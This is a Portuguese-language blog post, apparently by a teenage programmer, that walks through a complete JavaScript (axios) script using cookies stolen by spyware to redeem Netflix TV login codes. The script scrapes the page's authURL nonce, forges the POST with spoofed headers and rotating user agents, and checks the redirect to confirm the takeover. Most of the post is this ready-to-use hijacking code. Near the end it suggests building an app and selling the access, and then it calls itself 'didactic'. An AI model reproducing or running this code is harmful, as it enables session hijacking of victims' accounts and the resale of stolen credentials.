Api para logar a netflix na sua tv e ter stream de graça
Introdução
oi, pode me chamar de dudu =), tenho 16 anos e programo des dos 14, esse post é uma "continuação" do meu ultimo post, clique aqui para ver.
O objetivo principal é demostrar o que pode acontecer com suas informações apos ser vitima de um spy-ware, como exemplo vou trazer vitimas q continham conta da netflix salva no navegador.
Estrutura
É idial que você entenda o minimo de requests http pra comprender melhor o funcionamento.
O aplicativo da netflix para smart tv e tv box alem do login convecional, ele tambem conta o login atravez do qr code ou um codigo gerado q pode ser resgato dentro do site ja estando logado na sua conta, e é aparti dai que começa a nossa exploração.
Funcionamento
Bom primeiro precisamos entender que isso não vai utlizar as credencias de login da vitima como email e senha, mas sim os cookies, e logar na televisão utilizado um code gerado pelo aplicativo da netflix.
O codigo pode ser resgatado acessando https://netflix.com/tv2 , vc prenche um input com o codigo e envia, apenas isso, a request vai para a mesma rota, porem a requisição é do tipo post,contendo informações do formulario que voçe acabou de preencher
flow: "websiteSignUp",
authURL: "dudu",
flowMode: "enterTvLoginRendezvousCode",
withFields: "tvLoginRendezvousCode,isTvUrl2",
code: '00000000',
tvLoginRendezvousCode: '00000000',
isTvUrl2: "true",
action: "nextAction"
Essa informações são passadas pela propria url, o que queremos dessas informaçoes são o campo "code", e o campo "authURL", o campo code vc pode trocar facilmente pelo codigo que voçe quer usar, ja o authURL, como o nome ja sugere é um nonce, pra achar ele é so da um f12 no navegador ir em network e pesquisar pelo msm, ele vai dar match na rota anterio que voçe acabou de acessar, a /tv2 no meio do html, então o que voçe tem q fazer é basicamene ir nela, recolher o nonce e ir fazer a request post passando o seu codigo e seu nonce.
legal, mas como fazemos isso ? informaões como o userAgent e o Cookie são passadas no cabeçario da request os headers, voçe pode simplesmente manipula-los, uma biblioteca facil de manipula-los é o axios, tendo isso em mente vamos para a primeira requisição
const getAuthUrlToken = await axios({
url: "https://netflix.com/tv2",
method: "GET",
headers: {
Cookie: cookie
}
});
console.log(await getAuthUrlToken)
Isso Nos restornara o html da pagina, voçe pode usar regex para pegar seu nonce dentro do html, para isso vamos criar uma funcao simples e pegar o nonce aparti dela
const getStr = (string, start, end) => {
return string.match(`${start}(.*?)${end}`)?.[1];
};
pegamos o nonce
const AuthUrlToken = getStr(
getAuthUrlToken.data,
'authURL" value="',
'"'
);
pronto com o nonce em mãos vamos para a ultima requisção a post. passando o nonce e o seu codigo
const response = await axios.post(
"https://www.netflix.com/tv2",
new URLSearchParams({
flow: "websiteSignUp",
authURL: AuthUrlToken,
flowMode: "enterTvLoginRendezvousCode",
withFields: "tvLoginRendezvousCode,isTvUrl2",
code: code,
tvLoginRendezvousCode: code,
isTvUrl2: "true",
action: "nextAction"
}),
{
headers: {
authority: "www.netflix.com",
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "max-age=0",
cookie: cookie,
origin: "https://www.netflix.com",
referer: "https://www.netflix.com/tv2",
"sec-ch-ua": '"Not-A.Brand";v="99", "Chromium";v="124"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-model": '""',
"sec-ch-ua-platform": '"Linux"',
"sec-ch-ua-platform-version": '""',
"sec-fetch-dest": "document",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "same-origin",
"sec-fetch-user": "?1",
"upgrade-insecure-requests": "1",
"user-agent": userAgents[0]
}
}
);
para sabermos se deu certo podemos puxar essa informação do da url final, para onde ele nos redirecionou e fazemos a verificação
const currentUrl = response.request["_redirectable"]["_currentUrl"];
if (
currentUrl == "https://www.netflix.com/browse" ||
currentUrl == "https://www.netflix.com/tv/out/success"
) return 'seu codigo foi resgatado'
uns retoques final e seu coidgo esta asim
import axios from "axios";
const userAgents = [
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/97.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/97.0.1072.62 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36"
];
const getStr = (string, start, end) => {
return string.match(`${start}(.*?)${end}`)?.[1];
};
export default async function registerCode({ code, cookie }) {
try {
const getAuthUrlToken = await axios({
url: "https://netflix.com/tv2",
method: "GET",
headers: {
Cookie: cookie
}
});
const AuthUrlToken = getStr(
getAuthUrlToken.data,
'authURL" value="',
'"'
);
if (!getAuthUrlToken)
throw new Error(
"ocorreu um erro interno, por favor tente novamente"
);
const response = await axios.post(
"https://www.netflix.com/tv2",
new URLSearchParams({
flow: "websiteSignUp",
authURL: AuthUrlToken,
flowMode: "enterTvLoginRendezvousCode",
withFields: "tvLoginRendezvousCode,isTvUrl2",
code: code,
tvLoginRendezvousCode: code,
isTvUrl2: "true",
action: "nextAction"
}),
{
headers: {
authority: "www.netflix.com",
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "max-age=0",
cookie: cookie,
origin: "https://www.netflix.com",
referer: "https://www.netflix.com/tv2",
"sec-ch-ua": '"Not-A.Brand";v="99", "Chromium";v="124"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-model": '""',
"sec-ch-ua-platform": '"Linux"',
"sec-ch-ua-platform-version": '""',
"sec-fetch-dest": "document",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "same-origin",
"sec-fetch-user": "?1",
"upgrade-insecure-requests": "1",
"user-agent": userAgents[
Math.floor(Math.random() * userAgents.length)
]
}
}
);
const currentUrl = response.request["_redirectable"]["_currentUrl"];
const { data } = response;
if (
data.includes(
'class="nf-message-contents" data-uia="UIMessage-content">'
)
)
throw new Error(
"codigo invalido ! ou possivel erro interno, tente novamente"
);
if (
currentUrl !== "https://www.netflix.com/browse" &&
currentUrl !== "https://www.netflix.com/tv/out/success"
)
throw new Error("Ocorreu um erro interno, tente novamente ");
return {
success: true
};
} catch (e) {
return {
success: false,
result: e
};
}
}
aparti dai voçe ja pode fazer o que quiser com, essas informações, como por exemplo criar um app e vender.
E esse é uma dasforma que pode ocorreu a comercialização dos seus cookies.
Pro favor, tome cuidado com os malware =)
Esse post tem fins totalmente didaticos.